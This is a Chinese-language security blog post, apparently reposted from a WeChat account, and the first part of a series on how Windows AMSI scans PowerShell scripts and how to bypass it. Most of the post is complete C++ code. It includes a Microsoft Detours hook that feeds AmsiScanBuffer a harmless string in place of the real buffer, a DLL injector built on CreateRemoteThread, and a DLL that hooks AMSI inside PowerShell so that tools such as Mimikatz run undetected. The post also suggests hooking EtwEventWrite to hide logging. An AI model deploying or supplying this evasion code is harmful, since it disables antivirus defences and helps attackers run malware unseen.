AMSI原理与绕过(上)

admin 2022年6月27日09:39:25评论11 views字数 10651阅读35分30秒阅读模式

TL;DR

  • 之前大概学过相关的技术但没认真研究和总结过,最近又研究学习了一下,这里做一下总结和分享。大家在渗透的时候都用过powershell,powershell的功能可谓非常之强大,常用于信息搜集、入侵、下载、提权、权限维持、横向移动等。常用的框架有powersploit、Empire、Nishang等,那AMSI又是啥?AMSI(Anti-Malware Scan Interface),即反恶意软件扫描接口,在win10和server2016上默认安装。如在使用mimikatz的powershell版时候会遇到如下的错误。
    AMSI原理与绕过(上)产生这一错误的原因即为AMSI防护的效果。那么防护的原理是啥以及如果绕过呢?

初步想法

  • 这个是网上已经公开了的绕过AMSI的技术,但理解并且掌握整个过程同样因缺斯听,它可以用来绕过一些安全机制比如说ETW(Event Tracing for Windows)。这里要感谢MDSec以及RdpTheif工具的作者oxo9AL,RdpTheif工具使用了相似的技术。

  • AMSI理论上是个很好的想法,在恶意脚本在执行的过程中去分析判断,然而这个理论在落地的时候存在缺陷,最终项目的代码可参考AmsiHook
    AMSI原理与绕过(上)

  • 可以看到尽管"Invoke-Mimikatz"这个字符串没有恶意执行的上下文可依然被检测并拦截,它是怎么工作的呢,微软在某些进程中加载了amsi.dll,并导出了一些函数功能供杀软和EDR去使用,当然这其中主要是微软自家的Windows Defender。
    AMSI原理与绕过(上)

  • 如上所示,可以看到在启动powershell进程的时候加载了amsi.dll.

  • 查看amsi.dll中的导出函数,可以看到一个这样函数AmsiScanBuffer,在msdn上查找这个函数.

    HRESULT AmsiScanBuffer(
    HAMSICONTEXT amsiContext,
    PVOID buffer,
    ULONG length,
    LPCWSTR contentName,
    HAMSISESSION amsiSession,
    AMSI_RESULT *result
    );
  • 传递给AmsiScanBuffer函数的最后一个参数是一个枚举类型指针名字为result,这个result将决定执行这个脚本是否是恶意。

typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
};
  • 理论上如果能控制这个result(比如让它固定返回为AMSI_RESULT_CLEAN),AMSI就可能被绕过,所以该如何做呢?虽然amsi.dll注入到了进程,但是并没有内核驱动去保障amsi.dll是否被篡改,基于此让我们找个绕过的方法。

HOOK函数

  • HOOK函数可以让我们在调用这个函数之前控制这个函数,作为攻击者我们能做的事情很多,比如记录参数日志、允许或者拦截函数的执行、覆盖传入这个函数的参数、修改函数的返回值,我们现在需要找到hook AmsiScanBuffer函数的方法,这里可使用微软提供的hook函数库detours。

  • 在这之前,你需要先编译detours成静态链接库,可以参考文章,注意这里编译成X64版本的。因为后面注入的powershell也是64位的进程,所以amsihook.dll就需要是64位,那么这个静态链接库我们也需要编译成64位。

#include <iostream>
#include <Windows.h>
#include <detours.h>

static int(WINAPI* OriginalMessageBox)(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) = MessageBox;

int WINAPI _MessageBox(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType) {
return OriginalMessageBox(NULL, L"We've used detours to hook MessageBox", L"Hooked Window", 0);
}

int main() {
std::cout << "[+] Hooking MessageBox" << std::endl;

DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalMessageBox, _MessageBox);
DetourTransactionCommit();

std::cout << "[+] Message Box Hooked" << std::endl;

MessageBox(NULL, L"My Message", L"My Caption", 0);

std::cout << "[+] Unhooking MessageBox" << std::endl;

DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalMessageBox, _MessageBox);
DetourTransactionCommit();

std::cout << "[+] Message Box Unhooked" << std::endl;
}
  • 上面代码通过detours库hook了MessageBox函数并重写了用户参数,以上我们可以用来hook AmsiScanBuffer,现在创建一个项目,这个项目使用AmsiScanBuffer来检测字符串是否为恶意。

#include <iostream>
#include <Windows.h>
#include <amsi.h>
#include <system_error>
#pragma comment(lib, "amsi.lib")

////使用EICAR标准进行测试 https://en.wikipedia.org/wiki/EICAR_test_file
#define EICAR "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"

const char* GetResultDescription(HRESULT hRes) {
const char* description;
switch (hRes)
{
case AMSI_RESULT_CLEAN:
description = "AMSI_RESULT_CLEAN";
break;
case AMSI_RESULT_NOT_DETECTED:
description = "AMSI_RESULT_NOT_DETECTED";
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_START:
description = "AMSI_RESULT_BLOCKED_BY_ADMIN_START";
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_END:
description = "AMSI_RESULT_BLOCKED_BY_ADMIN_END";
break;
case AMSI_RESULT_DETECTED:
description = "AMSI_RESULT_DETECTED";
break;
default:
description = "";
break;
}
return description;
}

int main() {
HAMSICONTEXT amsiContext;
HRESULT hResult = S_OK;
AMSI_RESULT res = AMSI_RESULT_CLEAN;
HAMSISESSION hSession = nullptr;

LPCWSTR fname = L"EICAR";
BYTE* sample = (BYTE*)EICAR;
ULONG size = strlen(EICAR);

ZeroMemory(&amsiContext, sizeof(amsiContext));

hResult = AmsiInitialize(L"AmsiHook", &amsiContext);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiInitialize Failed" << std::endl;
return hResult;
}

hResult = AmsiOpenSession(amsiContext, &hSession);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiOpenSession Failed" << std::endl;
return hResult;
}

hResult = AmsiScanBuffer(amsiContext, sample, size, fname, hSession, &res);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiScanBuffer Failed " << std::endl;
return hResult;
}

// Anything above 32767 is considered malicious
std::cout << GetResultDescription(res) << std::endl;
}

AMSI原理与绕过(上)

  • 以上代码部分参考https://github.com/atxsinn3r/amsiscanner/blob/master/amsiscanner.cpp

  • 有了测试AmsiScanBuffer的基础代码,我们使用刚才在hook messagebox中使用的方法来hook AmsiScanBuffer

#include <iostream>
#include <Windows.h>
#include <amsi.h>
#include <detours.h>
#include <system_error>
#pragma comment(lib, "amsi.lib")

#define EICAR "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
#define SAFE "SafeString"

//Converts number given out by AmsiScanBuffer into a readable string
const char* GetResultDescription(HRESULT hRes) {
const char* description;
switch (hRes)
{
case AMSI_RESULT_CLEAN:
description = "AMSI_RESULT_CLEAN";
break;
case AMSI_RESULT_NOT_DETECTED:
description = "AMSI_RESULT_NOT_DETECTED";
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_START:
description = "AMSI_RESULT_BLOCKED_BY_ADMIN_START";
break;
case AMSI_RESULT_BLOCKED_BY_ADMIN_END:
description = "AMSI_RESULT_BLOCKED_BY_ADMIN_END";
break;
case AMSI_RESULT_DETECTED:
description = "AMSI_RESULT_DETECTED";
break;
default:
description = "";
break;
}
return description;
}

//Store orignal version of AmsiScanBuffer
static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) = AmsiScanBuffer;

//Our user controlled AmsiScanBuffer
HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) {
return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}

//Sets up detours to hook our function
void HookAmsi() {
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
}

//Undoes the hooking we setup earlier
void UnhookAmsi() {
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
}

int main() {
//Declares variables required for AmsiInitialize, AmsiOpenSession, and AmsiScanBuffer
HAMSICONTEXT amsiContext;
HRESULT hResult = S_OK;
AMSI_RESULT res = AMSI_RESULT_CLEAN;
HAMSISESSION hSession = nullptr;

//Declare test case to use
LPCWSTR fname = L"EICAR";
BYTE* sample = (BYTE*)EICAR;
ULONG size = strlen(EICAR);

std::cout << "[+] Hooking AmsiScanBuffer" << std::endl;
HookAmsi();
std::cout << "[+] AmsiScanBuffer Hooked" << std::endl;

ZeroMemory(&amsiContext, sizeof(amsiContext));

hResult = AmsiInitialize(L"AmsiHook", &amsiContext);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiInitialize Failed" << std::endl;
return hResult;
}

hResult = AmsiOpenSession(amsiContext, &hSession);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiOpenSession Failed" << std::endl;
return hResult;
}

hResult = AmsiScanBuffer(amsiContext, sample, size, fname, hSession, &res);
if (hResult != S_OK) {
std::cout << std::system_category().message(hResult) << std::endl;
std::cout << "[-] AmsiScanBuffer Failed " << std::endl;
return hResult;
}

std::cout << GetResultDescription(res) << std::endl;

std::cout << "[+] Unhooking AmsiScanBuffer" << std::endl;
UnhookAmsi();
std::cout << "[+] AmsiScanBuffer Unhooked" << std::endl;
}

AMSI原理与绕过(上)

  • 可以看到我们绕过了amsi的内容检测,现在来思考如何关闭AMSI对恶意powershell脚本的拦截,这里可使用进程注入方式将amsibypass.dll注入到powershell进程(同样amsi.dll也注入进去了),让其hook掉amsi.dll的AmsiScanBuffer函数,让其返回safe的信息即可。

dll注入

  • dll是一种类似PE的文件格式,然而它不可独立执行,它需要一个pe文件在运行的时候去加载,所以我们需要创建一个基础的注射器将dll加载并注入到powershell进程中。

  • 注射器实现可以有多种方式,可以参考如下代码,也可以使用injectAllTheThings

#include <iostream>
#include <windows.h>
#include <TlHelp32.h>

//Opens a handle to process then write to process with LoadLibraryA and execute thread
BOOL InjectDll(DWORD procID, char* dllName) {
char fullDllName[MAX_PATH];
LPVOID loadLibrary;
LPVOID remoteString;

if (procID == 0) {
return FALSE;
}

HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if (hProc == INVALID_HANDLE_VALUE) {
return FALSE;
}

GetFullPathNameA(dllName, MAX_PATH, fullDllName, NULL);
std::cout << "[+] Aquired full DLL path: " << fullDllName << std::endl;

loadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
remoteString = VirtualAllocEx(hProc, NULL, strlen(fullDllName), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(hProc, remoteString, fullDllName, strlen(fullDllName), NULL);
CreateRemoteThread(hProc, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibrary, (LPVOID)remoteString, NULL, NULL);

CloseHandle(hProc);
return TRUE;
}

//Iterate all process until the name we're searching for matches
//Then return the process ID
DWORD GetProcIDByName(const char* procName) {
HANDLE hSnap;
BOOL done;
PROCESSENTRY32 procEntry;

ZeroMemory(&procEntry, sizeof(PROCESSENTRY32));
procEntry.dwSize = sizeof(PROCESSENTRY32);

hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
done = Process32First(hSnap, &procEntry);
do {
if (_strnicmp(procEntry.szExeFile, procName, sizeof(procEntry.szExeFile)) == 0) {
return procEntry.th32ProcessID;
}
} while (Process32Next(hSnap, &procEntry));

return 0;
}

int main(int argc, char** argv)
{
const char* processName = argv[1];
char* dllName = argv[2];
DWORD procID = GetProcIDByName(processName);
std::cout << "[+] Got process ID for " << processName << " PID: " << procID << std::endl;
if (InjectDll(procID, dllName)) {
std::cout << "DLL now injected!" << std::endl;
} else {
std::cout << "DLL couldn't be injected" << std::endl;
}
}
  • 现在来创建一个dll以及导出函数AmsiScanBuffer

#include <Windows.h>
#include <detours.h>
#include <amsi.h>
#include <iostream>
#pragma comment(lib, "amsi.lib")

#define SAFE "SafeString"

static HRESULT(WINAPI* OriginalAmsiScanBuffer)(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) = AmsiScanBuffer;

//Our user controlled AmsiScanBuffer
__declspec(dllexport) HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,
PVOID buffer, ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT* result) {

std::cout << "[+] AmsiScanBuffer called" << std::endl;
std::cout << "[+] Buffer " << buffer << std::endl;
std::cout << "[+] Buffer Length " << length << std::endl;
return OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);
}

BOOL APIENTRY DllMain(HMODULE hModule,
DWORD dwReason,
LPVOID lpReserved
)
{
if (DetourIsHelperProcess()) {
return TRUE;
}

if (dwReason == DLL_PROCESS_ATTACH) {
AllocConsole();
freopen_s((FILE**)stdout, "CONOUT$", "w", stdout);

DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());

DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();

} else if (dwReason == DLL_PROCESS_DETACH) {
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);
DetourTransactionCommit();
FreeConsole();
}
return TRUE;
}
  • 将AmsiHOOK.dll注入到powershell进程中。
    AMSI原理与绕过(上)

  • 现在我们可以输入任何恶意脚本给powershell执行了且不会被拦截,这个项目只是一个基础,你可以做相当多的扩展,如hook EtwEventWrite函数去隐藏日志记录等等。

  • 下一篇给大家分享另外一种更简单的绕过姿势。

Reference

Understanding and Bypassing AMSI
初探Powershell与AMSI检测对抗技术


原文始发于微信公众号(格格巫和蓝精灵):AMSI原理与绕过(上)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月27日09:39:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   AMSI原理与绕过(上)http://cn-sec.com/archives/964503.html

发表评论

匿名网友 填写信息